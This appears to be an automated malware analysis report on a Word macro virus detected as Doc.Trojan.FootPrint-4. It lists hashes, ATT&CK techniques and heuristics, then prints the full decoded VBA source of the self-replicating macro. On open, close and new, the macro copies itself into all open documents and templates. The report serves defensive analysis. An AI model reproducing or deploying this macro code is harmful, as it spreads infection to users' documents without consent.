Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc299a6e5dcb4ed7…

MALICIOUS

Office (OLE)

44.5 KB Created: 2000-01-01 16:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e5110a7c37a143d3aae9f2878822150c SHA-1: 10efa3c02e046d4af5096a7d10e52df3af621453 SHA-256: fc299a6e5dcb4ed7fb52f0fe7d6952c07efcf9d3c41e3e001c2e206f91417871
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro attempts to export its own code to 'c:\footprint.$$$' and then process it into 'c:\footprint.$$1'. It then iterates through open documents and templates, attempting to add the processed VBA code to them, indicating an attempt to establish persistence or spread the malicious macro. The ClamAV detection 'Doc.Trojan.FootPrint-4' further supports the malicious nature of this file.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1610 bytes
SHA-256: 9b117cdabe1b8b7b5d4460f8f7cf19b1ae6cad4ae093947f4909d9b6179e6f34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    If Not adoc.CustomDocumentProperties("FootPrint") Then
        adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
        adoc.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        adoc.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        atpl.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
End Sub

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